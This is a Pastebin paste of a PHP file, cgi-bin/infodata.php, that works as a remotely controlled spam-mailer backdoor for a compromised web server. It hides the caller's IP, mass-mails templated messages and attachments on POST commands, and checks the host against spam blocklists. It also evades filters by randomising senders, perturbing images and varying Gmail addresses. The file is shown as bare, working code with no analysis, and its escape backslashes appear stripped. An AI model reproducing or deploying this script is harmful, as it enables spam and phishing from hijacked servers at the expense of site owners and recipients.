Advertisement
Guest User

Untitled

a guest
Jul 11th, 2017
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.45 KB | None | 0 0
  1. cgi-bin/infodata.php
  2.  
  3. <?php
  4.  
  5. @error_reporting(0);
  6. @set_time_limit(150);
  7. @ignore_user_abort(true);
  8. @ini_set('max_execution_time',150);
  9.  
  10. if($_SERVER['REQUEST_METHOD']=='GET'){
  11. exit('OK');
  12. }
  13.  
  14. $randString=rand(1,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255);
  15.  
  16. $compare=$_SERVER['REMOTE_ADDR'];
  17.  
  18. while($key=key($_SERVER)){
  19. if($_SERVER[$key]==$compare){
  20. @$_SERVER[$key]=$randString;
  21. }
  22. next($_SERVER);
  23. }
  24.  
  25. if(isset($_POST['ch'])===true){
  26. Check(); exit;
  27. }if(isset($_POST['sn'])===true){
  28. Send(); exit;
  29. }
  30.  
  31. function Send(){
  32. $replyto=urldecode($_POST['rpt']);
  33. if(strstr($replyto,'|')){
  34. $rand=explode('|',$replyto);
  35. $replyto=$rand[array_rand($rand)];
  36. }
  37.  
  38. $replyto=check_gmail($replyto);
  39.  
  40. $emails=urldecode($_POST['em']);
  41.  
  42. $ex=explode("n",$emails);
  43.  
  44. if(!is_file($_FILES['file']['tmp_name'])){
  45. for($c=0,$max=sizeof($ex);$c<$max;$c++){
  46. $data=explode('|',trim($ex[$c]));
  47. $r_from=Random(dataHandler($_POST['f']),$data);
  48. $r_subject=dataHandler($_POST['s']); $r_message=$_POST['m'];
  49. $r_subject=str_ireplace('[from:]',$r_from,$r_subject);
  50. $r_subject=str_ireplace('[email:]',$data[0],$r_subject);
  51. $r_subject=Random($r_subject,$data);
  52. $r_message=str_ireplace('[from:]',$r_from,$r_message);
  53. $r_message=str_ireplace('[email:]',$data[0],$r_message);
  54. $r_message=Random($r_message,$data);
  55. $from_name=randText();
  56.  
  57. if($replyto==''){
  58. $reply=$from_name.'@'.$_SERVER['HTTP_HOST'];
  59. }else{
  60. $reply=$replyto;
  61. }
  62.  
  63. if(!SMail($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){
  64. print '*send:bad*'; exit;
  65. }
  66. }
  67. }else{
  68. for($c=0,$max=sizeof($ex);$c<$max;$c++){
  69. $data=explode('|',trim($ex[$c]));
  70. $r_from=Random(dataHandler(urldecode($_POST['f'])),$data);
  71. $r_subject=dataHandler(urldecode($_POST['s']));
  72. $r_message=urldecode($_POST['m']);
  73. $r_subject=str_ireplace('[from:]',$r_from,$r_subject);
  74. $r_subject=str_ireplace('[email:]',$data[0],$r_subject);
  75. $r_subject=Random($r_subject,$data);
  76. $r_message=str_ireplace('[from:]',$r_from,$r_message);
  77. $r_message=str_ireplace('[email:]',$data[0],$r_message);
  78. $r_message=Random($r_message,$data);
  79. $from_name=randText();
  80.  
  81. if($replyto==''){
  82. $reply=$from_name.'@'.$_SERVER['HTTP_HOST'];
  83. }else{
  84. $reply=$replyto;
  85. }
  86.  
  87. if(!SendAttach($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){
  88. print '*send:bad*'; exit;
  89. }
  90. }
  91. }
  92. print '*send:ok*'; exit;
  93. }
  94.  
  95. function SMail($to,$from,$message,$subject,$replyto,$from_name){
  96. if($_POST['tp']=='1'){ $type='text/html'; }
  97. else{ $type='text/plain'; }
  98. $header='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">rn";
  99. $header.='MIME-Version: 1.0'."rn";
  100. $header.='Content-Type: '.$type.'; charset="utf-8"'."rn";
  101. $header.='Reply-To: '.$replyto."rn";
  102. $header.='X-Mailer: PHP/'.phpversion();
  103.  
  104. if(mail($to,$subject,$message,$header)){
  105. return true;
  106. }
  107. return false;
  108. }
  109.  
  110. function SendAttach($to,$from,$message,$subject,$replyto,$from_name){
  111. $boundary=md5(uniqid()); $fileString=fileString($_FILES['file']['name']);
  112. if($_POST['tp']=='1'){ $type='text/html'; }
  113. else{ $type='text/plain'; }
  114. $filename=filename($_FILES['file']['name']);
  115.  
  116. $headers='MIME-Version: 1.0'."rn";
  117. $headers.='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."rn";
  118. $headers.='Reply-To: '.$replyto."rn";
  119. $headers.='X-Mailer: PHP/'.phpversion()."rn";
  120. $headers.='Content-Type: multipart/mixed; boundary="'.$boundary.""rnrn";
  121.  
  122. $body='--'.$boundary."rn";
  123. $body.='Content-Type: '.$type.'; charset="utf-8"'."rn";
  124. $body.='Content-Transfer-Encoding: base64'."rnrn";
  125. $body.=chunk_split(base64_encode($message));
  126.  
  127. $body.= '--'.$boundary."rn";
  128. $body.='Content-Type: '.$_FILES['file']['type'].'; name="'.$filename.'"'."rn";
  129. $body.='Content-Disposition: attachment; filename="'.$filename.'"'."rn";
  130. $body.='Content-Transfer-Encoding: base64'."rn";
  131. $body.='X-Attachment-Id: '.rand(1000,99999)."rnrn";
  132. $body.=chunk_split(base64_encode($fileString));
  133.  
  134. if(mail($to,$subject,$body,$headers)){
  135. return true;
  136. }
  137. return false;
  138. }
  139.  
  140. function dataHandler($data){
  141. $ex=explode("n",$data);
  142.  
  143. if(sizeof($ex)>1){
  144. return trim($ex[rand(0,sizeof($ex)-1)]);
  145. }
  146. return trim($data);
  147. }
  148.  
  149. function Random($text,$data){
  150. preg_match_all('#[num:(.+?)]#is',$text,$result2); $i=0;
  151. preg_match_all('#[randM:(.+?)]#is',$text,$result3); $q=0;
  152. preg_match_all('#[randstr:(.+?)]#is',$text,$result4); $w=0;
  153. preg_match_all('#[var:(.+?)]#is',$text,$result5); $e=0;
  154.  
  155. while($i<sizeof($result2[1])){
  156. $rand=explode('|',$result2[1][$i]);
  157. if(!is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }
  158. $rand=rand($rand[0],$rand[1]);
  159.  
  160. $text=str_replace_once($result2[0][$i],$rand,$text); $i++;
  161. }
  162.  
  163. while($q<sizeof($result3[1])){
  164. $rand=explode('|',$result3[1][$q]);
  165. $rand=$rand[array_rand($rand)];
  166.  
  167. $text=str_replace($result3[0][$q],$rand,$text); $q++;
  168. }
  169.  
  170. while($w<sizeof($result4[1])){
  171. $rand=explode('|',$result4[1][$w]);
  172. if(!is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }
  173. $rand=randString($rand[0],$rand[1]);
  174.  
  175. $text=str_replace_once($result4[0][$w],$rand,$text); $w++;
  176. }
  177.  
  178. while($e<sizeof($result5[1])){
  179. if(!is_numeric($result5[1][$e])){ continue; }
  180.  
  181. $text=str_replace($result5[0][$e],$data[$result5[1][$e]],$text); $e++;
  182. }
  183.  
  184. preg_match_all('#[rand:(.+?)]#is',$text,$result); $c=0;
  185.  
  186. while($c<sizeof($result[1])){
  187. $rand=explode('|',$result[1][$c]);
  188. $rand=$rand[array_rand($rand)];
  189.  
  190. $text=str_replace_once($result[0][$c],$rand,$text); $c++;
  191. }
  192.  
  193. return $text;
  194. }
  195.  
  196. function Check(){
  197. $crlf="rn";
  198.  
  199. if(isset($_POST['st'])===true){
  200. print '*valid:ok*'.$crlf;
  201. }if(isset($_POST['m'])===true){
  202. if(function_exists('mail')){
  203. $ex=explode(':',$_POST['m']);
  204. $email=$ex[0]; $attach=$ex[1]; $reply=$ex[2];
  205. $from_name=randText();
  206. $replyto=$from_name.'@'.$_SERVER['HTTP_HOST'];
  207. if($reply=='1'){ $replyto=$email; }
  208. if($attach=='1'){
  209. if(CheckAttach($email,$replyto,$from_name)){
  210. print '*mail:ok*'.$crlf;
  211. }else{
  212. print '*mail:bad*'.$crlf;
  213. }
  214. }else{
  215. if(CheckMail($email,$replyto,$from_name)){
  216. print '*mail:ok*'.$crlf;
  217. }else{
  218. print '*mail:bad*'.$crlf;
  219. }
  220. }
  221. }else{
  222. print '*mail:bad*'.$crlf;
  223. }
  224. }if(isset($_POST['rb'])===true){
  225. $rbl=rbl();
  226. if($rbl==''){
  227. print '*rbl:ok*';
  228. }else{
  229. print '*rbl:'.$rbl.'*';
  230. }
  231. }
  232. }
  233.  
  234. function randString($min,$max){
  235. $str='qwertyuiopasdfghjklzxcvbnm';
  236. $size=rand($min,$max); $result='';
  237.  
  238. for($c=0;$c<$size;$c++){
  239. $result.=$str{rand(0,strlen($str)-1)};
  240. }
  241. return $result;
  242. }
  243.  
  244. function rbl(){
  245. $dnsbl_check=array('b.barracudacentral.org','xbl.spamhaus.org','sbl.spamhaus.org','zen.spamhaus.org','bl.spamcop.net');
  246. $ip=gethostbyname($_SERVER['HTTP_HOST']); $result='';
  247.  
  248. if($ip){
  249. $rip=implode('.',array_reverse(explode('.',$ip)));
  250. foreach($dnsbl_check as $val){
  251. if(checkdnsrr($rip.'.'.$val.'.','A'))
  252. $result.=$val.', ';
  253. }
  254. if(strlen($result)>2){ return substr($result,0,-2); }
  255. else{ return ''; }
  256. }else{
  257. return '*rbl:unknown*';
  258. }
  259. return '';
  260. }
  261.  
  262. function CheckMail($to,$reply,$from_name){
  263. $header='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">rn";
  264. $header.='MIME-Version: 1.0'."rn";
  265. $header.='Content-Type: text/html; charset="utf-8"'."rn";
  266. $header.='Reply-To: '.$reply."rn";
  267. $header.='X-Mailer: PHP/'.phpversion();
  268.  
  269. $message=text();
  270. $subject=$_SERVER['HTTP_HOST'];
  271.  
  272. if(mail($to,$subject,$message,$header)){
  273. return true;
  274. }
  275. return false;
  276. }
  277.  
  278. function CheckAttach($to,$reply,$from_name){
  279. $message=text();
  280. $subject=$_SERVER['HTTP_HOST'];
  281. $filename=filename('1.txt'); $boundary=md5(uniqid());
  282.  
  283. $headers='MIME-Version: 1.0'."rn";
  284. $headers.='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."rn";
  285. $headers.='Reply-To: '.$reply."rn";
  286. $headers.='X-Mailer: PHP/'.phpversion()."rn";
  287. $headers.='Content-Type: multipart/mixed; boundary="'.$boundary.""rnrn";
  288.  
  289. $body='--'.$boundary."rn";
  290. $body.='Content-Type: text/html; charset="utf-8"'."rn";
  291. $body.='Content-Transfer-Encoding: base64'."rnrn";
  292. $body.=chunk_split(base64_encode($message));
  293.  
  294. $body.= '--'.$boundary."rn";
  295. $body.='Content-Type: text/plain; name="'.$filename.'"'."rn";
  296. $body.='Content-Disposition: attachment; filename="'.$filename.'"'."rn";
  297. $body.='Content-Transfer-Encoding: base64'."rn";
  298. $body.='X-Attachment-Id: '.rand(1000,99999)."rnrn";
  299. $body.= chunk_split(base64_encode(text()));
  300.  
  301. if(mail($to,$subject,$body,$headers)){
  302. return true;
  303. }
  304. return false;
  305. }
  306.  
  307. function str_replace_once($search,$replace,$text){
  308. $pos=strpos($text, $search);
  309. return $pos!==false ? substr_replace($text,$replace,$pos,strlen($search)) : $text;
  310. }
  311.  
  312. function filename($name){
  313. $format=end(explode('.',$name));
  314. $array[]='SDC'; $array[]='P'; $array[]='DC'; $array[]='CAM'; $array[]='IMG-';
  315. $img=array('png','jpg','gif','jpeg','bmp');
  316.  
  317. for($c=0,$max=sizeof($img);$c<$max;$c++){
  318. if(strtolower($format)==$img[$c]){
  319. $rand=rand(10,999999);
  320. return $array[rand(0,4)].$rand.'.'.$format;
  321. }
  322. }
  323. return randText().'.'.$format;
  324. }
  325.  
  326. function fileString($name){
  327. $format=end(explode('.',$name));
  328.  
  329. if(strtolower($format)=='jpeg' or strtolower($format)=='jpg'){
  330. if(CheckRandIMG()){
  331. return RandIMG($_FILES['file']['tmp_name']);
  332. }
  333. }
  334. return file_get_contents($_FILES['file']['tmp_name']);
  335. }
  336.  
  337. function randText(){
  338. $str='qwertyuiopasdfghjklzxcvbnm';
  339. $size=rand(3,8); $result='';
  340.  
  341. for($c=0;$c<$size;$c++){
  342. $result.=$str{rand(0,strlen($str)-1)};
  343. }
  344. return $result;
  345. }
  346.  
  347. function text(){
  348. $str='qwertyuiopasdfghjklzxcvbnm';
  349. $size=rand(9,20); $result='';
  350.  
  351. for($c=0;$c<$size;$c++){
  352. $rand=rand(6,10);
  353.  
  354. for($i=0;$i<$rand;$i++){
  355. $result.=$str{rand(0,strlen($str)-1)};
  356. }
  357. $sign=array(' ',' ',' ',' ',', ','? ','. ','. ');
  358. $result.=$sign[rand(0,7)];
  359. }
  360. return trim($result);
  361. }
  362.  
  363. function CheckRandIMG(){
  364. $array=array(
  365. 'getimagesize',
  366. 'imagecreatetruecolor',
  367. 'imagecreatefromjpeg',
  368. 'imagecopyresampled',
  369. 'imagefilter',
  370. 'ob_start',
  371. 'imagejpeg',
  372. 'ob_get_clean'
  373. );
  374.  
  375. for($c=0,$max=sizeof($array);$c<$max;$c++){
  376. if(!function_exists($array[$c])){
  377. return false;
  378. }
  379. }
  380. return true;
  381. }
  382.  
  383. function RandIMG($file){
  384. $rand['width']=rand(1,2);
  385. $rand['height']=rand(1,2);
  386. $rand['quality']=rand(1,2);
  387. $rand['brightness']=rand(1,2);
  388. $rand['contrast']=rand(1,2);
  389.  
  390. list($width,$height)=getimagesize($file);
  391.  
  392. if($rand['width']==1){
  393. $sign=rand(1,2);
  394. if($sign==1){
  395. $new_width=$width+rand(1,10);
  396. }else{
  397. $new_width=$width-rand(1,10);
  398. }
  399. }else{
  400. $new_width=$width;
  401. }if($rand['height']==1){
  402. $sign=rand(1,2);
  403. if($sign==1){
  404. $new_height=$height+rand(1,10);
  405. }else{
  406. $new_height=$height-rand(1,10);
  407. }
  408. }else{
  409. $new_height=$height;
  410. }if($rand['quality']==1){
  411. $quality=75;
  412. }else{
  413. $quality=rand(65,105);
  414. }if($rand['brightness']==1){
  415. $brightness=rand(0,35);
  416. }else{
  417. $brightness=0;
  418. }if($rand['contrast']==1){
  419. $sign=rand(1,2);
  420. if($sign==1){ $sign='+'; }else{ $sign='-'; }
  421. $contrast=rand(1,15);
  422. }else{
  423. $sign='';
  424. $contrast=0;
  425. }
  426.  
  427. $image_p=imagecreatetruecolor($new_width,$new_height);
  428. $image=imagecreatefromjpeg($file);
  429. imagecopyresampled($image_p, $image,0,0,0,0,$new_width,$new_height,$width,$height);
  430. imagefilter($image_p,IMG_FILTER_CONTRAST,$sign.$contrast);
  431. imagefilter($image_p,IMG_FILTER_BRIGHTNESS,$brightness);
  432. ob_start();
  433. imagejpeg($image_p,null,$quality);
  434. $out=ob_get_clean();
  435. imagedestroy($image_p);
  436.  
  437. return $out;
  438. }
  439.  
  440. function check_gmail($email){
  441. if(strstr($email,'@gmail.')){
  442. return RandGmail($email);
  443. }else{
  444. return $email;
  445. }
  446. }
  447.  
  448. function RandGmail($email){
  449. $login=explode('@',$email); $result='';
  450. $login=strtolower(str_replace('.','',$login[0]));
  451.  
  452. $size=strlen($login);
  453.  
  454. for($c=0,$max=$size;$c<$max;$c++){
  455. $up=rand(0,1); $dot=rand(0,1);
  456.  
  457. $symbol=$login{$c};
  458.  
  459. if($up==1){
  460. $symbol=strtoupper($symbol);
  461. }if($dot==1){
  462. $symbol=$symbol.'.';
  463. }
  464. $result.=$symbol;
  465. }
  466.  
  467. if(substr($result,-1)=='.'){
  468. $result=substr($result,0,-1);
  469. }
  470.  
  471. return $result.'@gmail.com';
  472. }
  473.  
  474. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement